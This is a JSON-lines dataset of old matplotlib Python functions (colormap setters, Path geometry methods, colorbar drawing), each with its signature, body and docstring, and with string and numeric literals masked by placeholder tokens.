{"signature": "def jet():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.jet)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to jet and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m115"}
{"signature": "def pink():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.pink)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to pink and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m116"}
{"signature": "def prism():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.prism)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to prism and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m117"}
{"signature": "def spring():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.spring)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to spring and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m118"}
{"signature": "def summer():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.summer)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to summer and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m119"}
{"signature": "def winter():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.winter)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to winter and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m120"}
{"signature": "def spectral():", "body": "rc('<STR_LIT:image>', cmap='<STR_LIT>')<EOL>im = gci()<EOL>if im is not None:<EOL><INDENT>im.set_cmap(cm.spectral)<EOL><DEDENT>draw_if_interactive()<EOL>", "docstring": "set the default colormap to spectral and apply to current image if any.\nSee help(colormaps) for more information", "id": "f17168:m121"}
{"signature": "def get_path_collection_extents(*args):", "body": "from transforms import Bbox<EOL>if len(args[<NUM_LIT:1>]) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return Bbox.from_extents(*_get_path_collection_extents(*args))<EOL>", "docstring": "Given a sequence of :class:`Path` objects, returns the bounding\nbox that encapsulates all of them.", "id": "f17169:m0"}
{"signature": "def __init__(self, vertices, codes=None):", "body": "if ma.isMaskedArray(vertices):<EOL><INDENT>vertices = vertices.astype(np.float_).filled(np.nan)<EOL><DEDENT>else:<EOL><INDENT>vertices = np.asarray(vertices, np.float_)<EOL><DEDENT>if codes is not None:<EOL><INDENT>codes = np.asarray(codes, self.code_type)<EOL>assert codes.ndim == <NUM_LIT:1><EOL>assert len(codes) == len(vertices)<EOL><DEDENT>assert vertices.ndim == <NUM_LIT:2><EOL>assert vertices.shape[<NUM_LIT:1>] == <NUM_LIT:2><EOL>self.should_simplify = (len(vertices) >= <NUM_LIT> and<EOL>(codes is None or np.all(codes <= Path.LINETO)))<EOL>self.has_nonfinite = not np.isfinite(vertices).all()<EOL>self.codes = codes<EOL>self.vertices = vertices<EOL>", "docstring": "Create a new path with the given vertices and codes.\n\n*vertices* is an Nx2 numpy float array, masked array or Python\nsequence.\n\n*codes* is an N-length numpy array or Python sequence of type\n:attr:`matplotlib.path.Path.code_type`.\n\nThese two arrays must have the same length in the first\ndimension.\n\nIf *codes* is None, *vertices* will be treated as a series of\nline segments.\n\nIf *vertices* contains masked values, they will be converted\nto NaNs which are then handled correctly by the Agg\nPathIterator and other consumers of path data, such as\n:meth:`iter_segments`.", "id": "f17169:c0:m0"}
{"signature": "def make_compound_path(*args):", "body": "for p in args:<EOL><INDENT>assert p.codes is None<EOL><DEDENT>lengths = [len(x) for x in args]<EOL>total_length = sum(lengths)<EOL>vertices = np.vstack([x.vertices for x in args])<EOL>vertices.reshape((total_length, <NUM_LIT:2>))<EOL>codes = Path.LINETO * np.ones(total_length)<EOL>i = <NUM_LIT:0><EOL>for length in lengths:<EOL><INDENT>codes[i] = Path.MOVETO<EOL>i += length<EOL><DEDENT>return Path(vertices, codes)<EOL>", "docstring": "(staticmethod) Make a compound path from a list of Path\nobjects.  Only polygons (not curves) are supported.", "id": "f17169:c0:m1"}
{"signature": "def iter_segments(self, simplify=None):", "body": "vertices = self.vertices<EOL>if not len(vertices):<EOL><INDENT>return<EOL><DEDENT>codes        = self.codes<EOL>len_vertices = len(vertices)<EOL>isfinite     = np.isfinite<EOL>NUM_VERTICES = self.NUM_VERTICES<EOL>MOVETO       = self.MOVETO<EOL>LINETO       = self.LINETO<EOL>CLOSEPOLY    = self.CLOSEPOLY<EOL>STOP         = self.STOP<EOL>if simplify is not None and self.should_simplify:<EOL><INDENT>polygons = self.to_polygons(None, *simplify)<EOL>for vertices in polygons:<EOL><INDENT>yield vertices[<NUM_LIT:0>], MOVETO<EOL>for v in vertices[<NUM_LIT:1>:]:<EOL><INDENT>yield v, LINETO<EOL><DEDENT><DEDENT><DEDENT>elif codes is None:<EOL><INDENT>if self.has_nonfinite:<EOL><INDENT>next_code = MOVETO<EOL>for v in vertices:<EOL><INDENT>if np.isfinite(v).all():<EOL><INDENT>yield v, next_code<EOL>next_code = LINETO<EOL><DEDENT>else:<EOL><INDENT>next_code = MOVETO<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>yield vertices[<NUM_LIT:0>], MOVETO<EOL>for v in vertices[<NUM_LIT:1>:]:<EOL><INDENT>yield v, LINETO<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>i = <NUM_LIT:0><EOL>was_nan = False<EOL>while i < len_vertices:<EOL><INDENT>code = codes[i]<EOL>if code == CLOSEPOLY:<EOL><INDENT>yield [], code<EOL>i += <NUM_LIT:1><EOL><DEDENT>elif code == STOP:<EOL><INDENT>return<EOL><DEDENT>else:<EOL><INDENT>num_vertices = NUM_VERTICES[int(code)]<EOL>curr_vertices = vertices[i:i+num_vertices].flatten()<EOL>if not isfinite(curr_vertices).all():<EOL><INDENT>was_nan = True<EOL><DEDENT>elif was_nan:<EOL><INDENT>yield curr_vertices[-<NUM_LIT:2>:], MOVETO<EOL>was_nan = False<EOL><DEDENT>else:<EOL><INDENT>yield curr_vertices, code<EOL><DEDENT>i += num_vertices<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Iterates over all of the curve segments in the path.  Each\niteration returns a 2-tuple (*vertices*, *code*), where\n*vertices* is a sequence of 1 - 3 coordinate pairs, and *code* is\none of the :class:`Path` codes.\n\nIf *simplify* is provided, it must be a tuple (*width*,\n*height*) defining the size of the figure, in native units\n(e.g. pixels or points).  Simplification implies both removing\nadjacent line segments that are very close to parallel, and\nremoving line segments outside of the figure.  The path will\nbe simplified *only* if :attr:`should_simplify` is True, which\nis determined in the constructor by this criteria:\n\n   - No curves\n   - More than 128 vertices", "id": "f17169:c0:m4"}
{"signature": "def transformed(self, transform):", "body": "return Path(transform.transform(self.vertices), self.codes)<EOL>", "docstring": "Return a transformed copy of the path.\n\n.. seealso::\n    :class:`matplotlib.transforms.TransformedPath`:\n        A specialized path class that will cache the\n        transformed result and automatically update when the\n        transform changes.", "id": "f17169:c0:m5"}
{"signature": "def contains_point(self, point, transform=None):", "body": "if transform is not None:<EOL><INDENT>transform = transform.frozen()<EOL><DEDENT>return point_in_path(point[<NUM_LIT:0>], point[<NUM_LIT:1>], self, transform)<EOL>", "docstring": "Returns *True* if the path contains the given point.\n\nIf *transform* is not *None*, the path will be transformed\nbefore performing the test.", "id": "f17169:c0:m6"}
{"signature": "def contains_path(self, path, transform=None):", "body": "if transform is not None:<EOL><INDENT>transform = transform.frozen()<EOL><DEDENT>return path_in_path(self, None, path, transform)<EOL>", "docstring": "Returns *True* if this path completely contains the given path.\n\nIf *transform* is not *None*, the path will be transformed\nbefore performing the test.", "id": "f17169:c0:m7"}
{"signature": "def get_extents(self, transform=None):", "body": "from transforms import Bbox<EOL>if transform is not None:<EOL><INDENT>transform = transform.frozen()<EOL><DEDENT>return Bbox(get_path_extents(self, transform))<EOL>", "docstring": "Returns the extents (*xmin*, *ymin*, *xmax*, *ymax*) of the\npath.\n\nUnlike computing the extents on the *vertices* alone, this\nalgorithm will take into account the curves and deal with\ncontrol points appropriately.", "id": "f17169:c0:m8"}
{"signature": "def intersects_path(self, other, filled=True):", "body": "return path_intersects_path(self, other, filled)<EOL>", "docstring": "Returns *True* if this path intersects another given path.\n\n*filled*, when True, treats the paths as if they were filled.\nThat is, if one path completely encloses the other,\n:meth:`intersects_path` will return True.", "id": "f17169:c0:m9"}
{"signature": "def intersects_bbox(self, bbox, filled=True):", "body": "from transforms import BboxTransformTo<EOL>rectangle = self.unit_rectangle().transformed(<EOL>BboxTransformTo(bbox))<EOL>result = self.intersects_path(rectangle, filled)<EOL>return result<EOL>", "docstring": "Returns *True* if this path intersects a given\n:class:`~matplotlib.transforms.Bbox`.\n\n*filled*, when True, treats the path as if it was filled.\nThat is, if one path completely encloses the other,\n:meth:`intersects_path` will return True.", "id": "f17169:c0:m10"}
{"signature": "def interpolated(self, steps):", "body": "vertices = simple_linear_interpolation(self.vertices, steps)<EOL>codes = self.codes<EOL>if codes is not None:<EOL><INDENT>new_codes = Path.LINETO * np.ones(((len(codes) - <NUM_LIT:1>) * steps + <NUM_LIT:1>, ))<EOL>new_codes[<NUM_LIT:0>::steps] = codes<EOL><DEDENT>else:<EOL><INDENT>new_codes = None<EOL><DEDENT>return Path(vertices, new_codes)<EOL>", "docstring": "Returns a new path resampled to length N x steps.  Does not\ncurrently handle interpolating curves.", "id": "f17169:c0:m11"}
{"signature": "def to_polygons(self, transform=None, width=<NUM_LIT:0>, height=<NUM_LIT:0>):", "body": "if len(self.vertices) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>if transform is not None:<EOL><INDENT>transform = transform.frozen()<EOL><DEDENT>if self.codes is None and (width == <NUM_LIT:0> or height == <NUM_LIT:0>):<EOL><INDENT>if transform is None:<EOL><INDENT>return [self.vertices]<EOL><DEDENT>else:<EOL><INDENT>return [transform.transform(self.vertices)]<EOL><DEDENT><DEDENT>return convert_path_to_polygons(self, transform, width, height)<EOL>", "docstring": "Convert this path to a list of polygons.  Each polygon is an\nNx2 array of vertices.  In other words, each polygon has no\n``MOVETO`` instructions or curves.  This is useful for\ndisplaying in backends that do not support compound paths or\nBezier curves, such as GDK.\n\nIf *width* and *height* are both non-zero then the lines will\nbe simplified so that vertices outside of (0, 0), (width,\nheight) will be clipped.", "id": "f17169:c0:m12"}
{"signature": "def unit_rectangle(cls):", "body": "if cls._unit_rectangle is None:<EOL><INDENT>cls._unit_rectangle =Path([[<NUM_LIT:0.0>, <NUM_LIT:0.0>], [<NUM_LIT:1.0>, <NUM_LIT:0.0>], [<NUM_LIT:1.0>, <NUM_LIT:1.0>], [<NUM_LIT:0.0>, <NUM_LIT:1.0>], [<NUM_LIT:0.0>, <NUM_LIT:0.0>]])<EOL><DEDENT>return cls._unit_rectangle<EOL>", "docstring": "(staticmethod) Returns a :class:`Path` of the unit rectangle\nfrom (0, 0) to (1, 1).", "id": "f17169:c0:m13"}
{"signature": "def unit_regular_polygon(cls, numVertices):", "body": "if numVertices <= <NUM_LIT:16>:<EOL><INDENT>path = cls._unit_regular_polygons.get(numVertices)<EOL><DEDENT>else:<EOL><INDENT>path = None<EOL><DEDENT>if path is None:<EOL><INDENT>theta = (<NUM_LIT:2>*np.pi/numVertices *<EOL>np.arange(numVertices + <NUM_LIT:1>).reshape((numVertices + <NUM_LIT:1>, <NUM_LIT:1>)))<EOL>theta += np.pi / <NUM_LIT><EOL>verts = np.concatenate((np.cos(theta), np.sin(theta)), <NUM_LIT:1>)<EOL>path = Path(verts)<EOL>cls._unit_regular_polygons[numVertices] = path<EOL><DEDENT>return path<EOL>", "docstring": "(staticmethod) Returns a :class:`Path` for a unit regular\npolygon with the given *numVertices* and radius of 1.0,\ncentered at (0, 0).", "id": "f17169:c0:m14"}
{"signature": "def unit_regular_star(cls, numVertices, innerCircle=<NUM_LIT:0.5>):", "body": "if numVertices <= <NUM_LIT:16>:<EOL><INDENT>path = cls._unit_regular_stars.get((numVertices, innerCircle))<EOL><DEDENT>else:<EOL><INDENT>path = None<EOL><DEDENT>if path is None:<EOL><INDENT>ns2 = numVertices * <NUM_LIT:2><EOL>theta = (<NUM_LIT:2>*np.pi/ns2 * np.arange(ns2 + <NUM_LIT:1>))<EOL>theta += np.pi / <NUM_LIT><EOL>r = np.ones(ns2 + <NUM_LIT:1>)<EOL>r[<NUM_LIT:1>::<NUM_LIT:2>] = innerCircle<EOL>verts = np.vstack((r*np.cos(theta), r*np.sin(theta))).transpose()<EOL>path = Path(verts)<EOL>cls._unit_regular_polygons[(numVertices, innerCircle)] = path<EOL><DEDENT>return path<EOL>", "docstring": "(staticmethod) Returns a :class:`Path` for a unit regular star\nwith the given numVertices and radius of 1.0, centered at (0,\n0).", "id": "f17169:c0:m15"}
{"signature": "def unit_regular_asterisk(cls, numVertices):", "body": "return cls.unit_regular_star(numVertices, <NUM_LIT:0.0>)<EOL>", "docstring": "(staticmethod) Returns a :class:`Path` for a unit regular\nasterisk with the given numVertices and radius of 1.0,\ncentered at (0, 0).", "id": "f17169:c0:m16"}
{"signature": "def unit_circle(cls):", "body": "if cls._unit_circle is None:<EOL><INDENT>MAGIC = <NUM_LIT><EOL>SQRTHALF = np.sqrt(<NUM_LIT:0.5>)<EOL>MAGIC45 = np.sqrt((MAGIC*MAGIC) / <NUM_LIT>)<EOL>vertices = np.array(<EOL>[[<NUM_LIT:0.0>, -<NUM_LIT:1.0>],<EOL>[MAGIC, -<NUM_LIT:1.0>],<EOL>[SQRTHALF-MAGIC45, -SQRTHALF-MAGIC45],<EOL>[SQRTHALF, -SQRTHALF],<EOL>[SQRTHALF+MAGIC45, -SQRTHALF+MAGIC45],<EOL>[<NUM_LIT:1.0>, -MAGIC],<EOL>[<NUM_LIT:1.0>, <NUM_LIT:0.0>],<EOL>[<NUM_LIT:1.0>, MAGIC],<EOL>[SQRTHALF+MAGIC45, SQRTHALF-MAGIC45],<EOL>[SQRTHALF, SQRTHALF],<EOL>[SQRTHALF-MAGIC45, SQRTHALF+MAGIC45],<EOL>[MAGIC, <NUM_LIT:1.0>],<EOL>[<NUM_LIT:0.0>, <NUM_LIT:1.0>],<EOL>[-MAGIC, <NUM_LIT:1.0>],<EOL>[-SQRTHALF+MAGIC45, SQRTHALF+MAGIC45],<EOL>[-SQRTHALF, SQRTHALF],<EOL>[-SQRTHALF-MAGIC45, SQRTHALF-MAGIC45],<EOL>[-<NUM_LIT:1.0>, MAGIC],<EOL>[-<NUM_LIT:1.0>, <NUM_LIT:0.0>],<EOL>[-<NUM_LIT:1.0>, -MAGIC],<EOL>[-SQRTHALF-MAGIC45, -SQRTHALF+MAGIC45],<EOL>[-SQRTHALF, -SQRTHALF],<EOL>[-SQRTHALF+MAGIC45, -SQRTHALF-MAGIC45],<EOL>[-MAGIC, -<NUM_LIT:1.0>],<EOL>[<NUM_LIT:0.0>, -<NUM_LIT:1.0>],<EOL>[<NUM_LIT:0.0>, -<NUM_LIT:1.0>]],<EOL>np.float_)<EOL>codes = cls.CURVE4 * np.ones(<NUM_LIT>)<EOL>codes[<NUM_LIT:0>] = cls.MOVETO<EOL>codes[-<NUM_LIT:1>] = cls.CLOSEPOLY<EOL>cls._unit_circle = Path(vertices, codes)<EOL><DEDENT>return cls._unit_circle<EOL>", "docstring": "(staticmethod) Returns a :class:`Path` of the unit circle.\nThe circle is approximated using cubic Bezier curves.  This\nuses 8 splines around the circle using the approach presented\nhere:\n\n  Lancaster, Don.  `Approximating a Circle or an Ellipse Using Four\n  Bezier Cubic Splines <http://www.tinaja.com/glib/ellipse4.pdf>`_.", "id": "f17169:c0:m17"}
{"signature": "def arc(cls, theta1, theta2, n=None, is_wedge=False):", "body": "<EOL>theta1 *= np.pi / <NUM_LIT><EOL>theta2 *= np.pi / <NUM_LIT><EOL>twopi  = np.pi * <NUM_LIT><EOL>halfpi = np.pi * <NUM_LIT:0.5><EOL>eta1 = np.arctan2(np.sin(theta1), np.cos(theta1))<EOL>eta2 = np.arctan2(np.sin(theta2), np.cos(theta2))<EOL>eta2 -= twopi * np.floor((eta2 - eta1) / twopi)<EOL>if (theta2 - theta1 > np.pi) and (eta2 - eta1 < np.pi):<EOL><INDENT>eta2 += twopi<EOL><DEDENT>if n is None:<EOL><INDENT>n = int(<NUM_LIT:2> ** np.ceil((eta2 - eta1) / halfpi))<EOL><DEDENT>if n < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>deta = (eta2 - eta1) / n<EOL>t = np.tan(<NUM_LIT:0.5> * deta)<EOL>alpha = np.sin(deta) * (np.sqrt(<NUM_LIT> + <NUM_LIT> * t * t) - <NUM_LIT:1>) / <NUM_LIT><EOL>steps = np.linspace(eta1, eta2, n + <NUM_LIT:1>, True)<EOL>cos_eta = np.cos(steps)<EOL>sin_eta = np.sin(steps)<EOL>xA = cos_eta[:-<NUM_LIT:1>]<EOL>yA = sin_eta[:-<NUM_LIT:1>]<EOL>xA_dot = -yA<EOL>yA_dot = xA<EOL>xB = cos_eta[<NUM_LIT:1>:]<EOL>yB = sin_eta[<NUM_LIT:1>:]<EOL>xB_dot = -yB<EOL>yB_dot = xB<EOL>if is_wedge:<EOL><INDENT>length = n * <NUM_LIT:3> + <NUM_LIT:4><EOL>vertices = np.zeros((length, <NUM_LIT:2>), np.float_)<EOL>codes = Path.CURVE4 * np.ones((length, ), Path.code_type)<EOL>vertices[<NUM_LIT:1>] = [xA[<NUM_LIT:0>], yA[<NUM_LIT:0>]]<EOL>codes[<NUM_LIT:0>:<NUM_LIT:2>] = [Path.MOVETO, Path.LINETO]<EOL>codes[-<NUM_LIT:2>:] = [Path.LINETO, Path.CLOSEPOLY]<EOL>vertex_offset = <NUM_LIT:2><EOL>end = length - <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>length = n * <NUM_LIT:3> + <NUM_LIT:1><EOL>vertices = np.zeros((length, <NUM_LIT:2>), np.float_)<EOL>codes = Path.CURVE4 * np.ones((length, ), Path.code_type)<EOL>vertices[<NUM_LIT:0>] = [xA[<NUM_LIT:0>], yA[<NUM_LIT:0>]]<EOL>codes[<NUM_LIT:0>] = Path.MOVETO<EOL>vertex_offset = <NUM_LIT:1><EOL>end = length<EOL><DEDENT>vertices[vertex_offset  :end:<NUM_LIT:3>, <NUM_LIT:0>] = xA + alpha * xA_dot<EOL>vertices[vertex_offset  :end:<NUM_LIT:3>, <NUM_LIT:1>] = yA + alpha * yA_dot<EOL>vertices[vertex_offset+<NUM_LIT:1>:end:<NUM_LIT:3>, <NUM_LIT:0>] = xB - alpha * xB_dot<EOL>vertices[vertex_offset+<NUM_LIT:1>:end:<NUM_LIT:3>, <NUM_LIT:1>] = yB - alpha * yB_dot<EOL>vertices[vertex_offset+<NUM_LIT:2>:end:<NUM_LIT:3>, <NUM_LIT:0>] = xB<EOL>vertices[vertex_offset+<NUM_LIT:2>:end:<NUM_LIT:3>, <NUM_LIT:1>] = yB<EOL>return Path(vertices, codes)<EOL>", "docstring": "(staticmethod) Returns an arc on the unit circle from angle\n*theta1* to angle *theta2* (in degrees).\n\nIf *n* is provided, it is the number of spline segments to make.\nIf *n* is not provided, the number of spline segments is\ndetermined based on the delta between *theta1* and *theta2*.\n\n   Masionobe, L.  2003.  `Drawing an elliptical arc using\n   polylines, quadratic or cubic Bezier curves\n   <http://www.spaceroots.org/documents/ellipse/index.html>`_.", "id": "f17169:c0:m18"}
{"signature": "def wedge(cls, theta1, theta2, n=None):", "body": "return cls.arc(theta1, theta2, n, True)<EOL>", "docstring": "(staticmethod) Returns a wedge of the unit circle from angle\n*theta1* to angle *theta2* (in degrees).\n\nIf *n* is provided, it is the number of spline segments to make.\nIf *n* is not provided, the number of spline segments is\ndetermined based on the delta between *theta1* and *theta2*.", "id": "f17169:c0:m19"}
{"signature": "def draw_all(self):", "body": "self._process_values()<EOL>self._find_range()<EOL>X, Y = self._mesh()<EOL>C = self._values[:,np.newaxis]<EOL>self._config_axes(X, Y)<EOL>if self.filled:<EOL><INDENT>self._add_solids(X, Y, C)<EOL><DEDENT>self._set_label()<EOL>", "docstring": "Calculate any free parameters based on the current cmap and norm,\nand do all the drawing.", "id": "f17170:c0:m1"}
{"signature": "def _config_axes(self, X, Y):", "body": "ax = self.ax<EOL>ax.set_frame_on(False)<EOL>ax.set_navigate(False)<EOL>xy = self._outline(X, Y)<EOL>ax.update_datalim(xy)<EOL>ax.set_xlim(*ax.dataLim.intervalx)<EOL>ax.set_ylim(*ax.dataLim.intervaly)<EOL>self.outline = lines.Line2D(xy[:, <NUM_LIT:0>], xy[:, <NUM_LIT:1>], color=mpl.rcParams['<STR_LIT>'],<EOL>linewidth=mpl.rcParams['<STR_LIT>'])<EOL>ax.add_artist(self.outline)<EOL>self.outline.set_clip_box(None)<EOL>self.outline.set_clip_path(None)<EOL>c = mpl.rcParams['<STR_LIT>']<EOL>self.patch = patches.Polygon(xy, edgecolor=c,<EOL>facecolor=c,<EOL>linewidth=<NUM_LIT>,<EOL>zorder=-<NUM_LIT:1>)<EOL>ax.add_artist(self.patch)<EOL>ticks, ticklabels, offset_string = self._ticker()<EOL>if self.orientation == '<STR_LIT>':<EOL><INDENT>ax.set_xticks([])<EOL>ax.yaxis.set_label_position('<STR_LIT:right>')<EOL>ax.yaxis.set_ticks_position('<STR_LIT:right>')<EOL>ax.set_yticks(ticks)<EOL>ax.set_yticklabels(ticklabels)<EOL>ax.yaxis.get_major_formatter().set_offset_string(offset_string)<EOL><DEDENT>else:<EOL><INDENT>ax.set_yticks([])<EOL>ax.xaxis.set_label_position('<STR_LIT>')<EOL>ax.set_xticks(ticks)<EOL>ax.set_xticklabels(ticklabels)<EOL>ax.xaxis.get_major_formatter().set_offset_string(offset_string)<EOL><DEDENT>", "docstring": "Make an axes patch and outline.", "id": "f17170:c0:m2"}
{"signature": "def set_label(self, label, **kw):", "body": "self._label = label<EOL>self._labelkw = kw<EOL>self._set_label()<EOL>", "docstring": "Label the long axis of the colorbar", "id": "f17170:c0:m4"}
{"signature": "def _outline(self, X, Y):", "body": "N = X.shape[<NUM_LIT:0>]<EOL>ii = [<NUM_LIT:0>, <NUM_LIT:1>, N-<NUM_LIT:2>, N-<NUM_LIT:1>, <NUM_LIT:2>*N-<NUM_LIT:1>, <NUM_LIT:2>*N-<NUM_LIT:2>, N+<NUM_LIT:1>, N, <NUM_LIT:0>]<EOL>x = np.take(np.ravel(np.transpose(X)), ii)<EOL>y = np.take(np.ravel(np.transpose(Y)), ii)<EOL>x = x.reshape((len(x), <NUM_LIT:1>))<EOL>y = y.reshape((len(y), <NUM_LIT:1>))<EOL>if self.orientation == '<STR_LIT>':<EOL><INDENT>return np.hstack((y, x))<EOL><DEDENT>return np.hstack((x, y))<EOL>", "docstring": "Return *x*, *y* arrays of colorbar bounding polygon,\ntaking orientation into account.", "id": "f17170:c0:m5"}
{"signature": "def _edges(self, X, Y):", "body": "N = X.shape[<NUM_LIT:0>]<EOL>if self.orientation == '<STR_LIT>':<EOL><INDENT>return [list(zip(X[i], Y[i])) for i in range(<NUM_LIT:1>, N-<NUM_LIT:1>)]<EOL><DEDENT>else:<EOL><INDENT>return [list(zip(Y[i], X[i])) for i in range(<NUM_LIT:1>, N-<NUM_LIT:1>)]<EOL><DEDENT>", "docstring": "Return the separator line segments; helper for _add_solids.", "id": "f17170:c0:m6"}
{"signature": "def _add_solids(self, X, Y, C):", "body": "<EOL>if self.orientation == '<STR_LIT>':<EOL><INDENT>args = (X, Y, C)<EOL><DEDENT>else:<EOL><INDENT>args = (np.transpose(Y), np.transpose(X), np.transpose(C))<EOL><DEDENT>kw = {'<STR_LIT>':self.cmap, '<STR_LIT>':self.norm,<EOL>'<STR_LIT>':'<STR_LIT>', '<STR_LIT>':self.alpha}<EOL>_hold = self.ax.ishold()<EOL>self.ax.hold(True)<EOL>col = self.ax.pcolor(*args, **kw)<EOL>self.ax.hold(_hold)<EOL>self.solids = col<EOL>if self.drawedges:<EOL><INDENT>self.dividers = collections.LineCollection(self._edges(X,Y),<EOL>colors=(mpl.rcParams['<STR_LIT>'],),<EOL>linewidths=(<NUM_LIT:0.5>*mpl.rcParams['<STR_LIT>'],)<EOL>)<EOL>self.ax.add_collection(self.dividers)<EOL><DEDENT>", "docstring": "Draw the colors using :meth:`~matplotlib.axes.Axes.pcolor`;\noptionally add separators.", "id": "f17170:c0:m7"}
{"signature": "def add_lines(self, levels, colors, linewidths):", "body": "N = len(levels)<EOL>dummy, y = self._locate(levels)<EOL>if len(y) != N:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>x = np.array([<NUM_LIT:0.0>, <NUM_LIT:1.0>])<EOL>X, Y = np.meshgrid(x,y)<EOL>if self.orientation == '<STR_LIT>':<EOL><INDENT>xy = [list(zip(X[i], Y[i])) for i in range(N)]<EOL><DEDENT>else:<EOL><INDENT>xy = [list(zip(Y[i], X[i])) for i in range(N)]<EOL><DEDENT>col = collections.LineCollection(xy, linewidths=linewidths)<EOL>self.lines = col<EOL>col.set_color(colors)<EOL>self.ax.add_collection(col)<EOL>", "docstring": "Draw lines on the colorbar.", "id": "f17170:c0:m8"}
{"signature": "def _ticker(self):", "body": "locator = self.locator<EOL>formatter = self.formatter<EOL>if locator is None:<EOL><INDENT>if self.boundaries is None:<EOL><INDENT>if isinstance(self.norm, colors.NoNorm):<EOL><INDENT>nv = len(self._values)<EOL>base = <NUM_LIT:1> + int(nv/<NUM_LIT:10>)<EOL>locator = ticker.IndexLocator(base=base, offset=<NUM_LIT:0>)<EOL><DEDENT>elif isinstance(self.norm, colors.BoundaryNorm):<EOL><INDENT>b = self.norm.boundaries<EOL>locator = ticker.FixedLocator(b, nbins=<NUM_LIT:10>)<EOL><DEDENT>elif isinstance(self.norm, colors.LogNorm):<EOL><INDENT>locator = ticker.LogLocator()<EOL><DEDENT>else:<EOL><INDENT>locator = ticker.MaxNLocator()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>b = self._boundaries[self._inside]<EOL>locator = ticker.FixedLocator(b, nbins=<NUM_LIT:10>)<EOL><DEDENT><DEDENT>if isinstance(self.norm, colors.NoNorm):<EOL><INDENT>intv = self._values[<NUM_LIT:0>], self._values[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>intv = self.vmin, self.vmax<EOL><DEDENT>locator.create_dummy_axis()<EOL>formatter.create_dummy_axis()<EOL>locator.set_view_interval(*intv)<EOL>locator.set_data_interval(*intv)<EOL>formatter.set_view_interval(*intv)<EOL>formatter.set_data_interval(*intv)<EOL>b = np.array(locator())<EOL>b, ticks = self._locate(b)<EOL>formatter.set_locs(b)<EOL>ticklabels = [formatter(t, i) for i, t in enumerate(b)]<EOL>offset_string = formatter.get_offset()<EOL>return ticks, ticklabels, offset_string<EOL>", "docstring": "Return two sequences: ticks (colorbar data locations)\nand ticklabels (strings).", "id": "f17170:c0:m9"}
{"signature": "def _process_values(self, b=None):", "body": "if b is None:<EOL><INDENT>b = self.boundaries<EOL><DEDENT>if b is not None:<EOL><INDENT>self._boundaries = np.asarray(b, dtype=float)<EOL>if self.values is None:<EOL><INDENT>self._values = <NUM_LIT:0.5>*(self._boundaries[:-<NUM_LIT:1>]<EOL>+ self._boundaries[<NUM_LIT:1>:])<EOL>if isinstance(self.norm, colors.NoNorm):<EOL><INDENT>self._values = (self._values + <NUM_LIT>).astype(np.int16)<EOL><DEDENT>return<EOL><DEDENT>self._values = np.array(self.values)<EOL>return<EOL><DEDENT>if self.values is not None:<EOL><INDENT>self._values = np.array(self.values)<EOL>if self.boundaries is None:<EOL><INDENT>b = np.zeros(len(self.values)+<NUM_LIT:1>, '<STR_LIT:d>')<EOL>b[<NUM_LIT:1>:-<NUM_LIT:1>] = <NUM_LIT:0.5>*(self._values[:-<NUM_LIT:1>] - self._values[<NUM_LIT:1>:])<EOL>b[<NUM_LIT:0>] = <NUM_LIT>*b[<NUM_LIT:1>] - b[<NUM_LIT:2>]<EOL>b[-<NUM_LIT:1>] = <NUM_LIT>*b[-<NUM_LIT:2>] - b[-<NUM_LIT:3>]<EOL>self._boundaries = b<EOL>return<EOL><DEDENT>self._boundaries = np.array(self.boundaries)<EOL>return<EOL><DEDENT>if isinstance(self.norm, colors.NoNorm):<EOL><INDENT>b = self._uniform_y(self.cmap.N+<NUM_LIT:1>) * self.cmap.N - <NUM_LIT:0.5><EOL>v = np.zeros((len(b)-<NUM_LIT:1>,), dtype=np.int16)<EOL>v[self._inside] = np.arange(self.cmap.N, dtype=np.int16)<EOL>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>v[<NUM_LIT:0>] = -<NUM_LIT:1><EOL><DEDENT>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>v[-<NUM_LIT:1>] = self.cmap.N<EOL><DEDENT>self._boundaries = b<EOL>self._values = v<EOL>return<EOL><DEDENT>elif isinstance(self.norm, colors.BoundaryNorm):<EOL><INDENT>b = list(self.norm.boundaries)<EOL>if self.extend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>b = [b[<NUM_LIT:0>]-<NUM_LIT:1>] + b<EOL><DEDENT>if 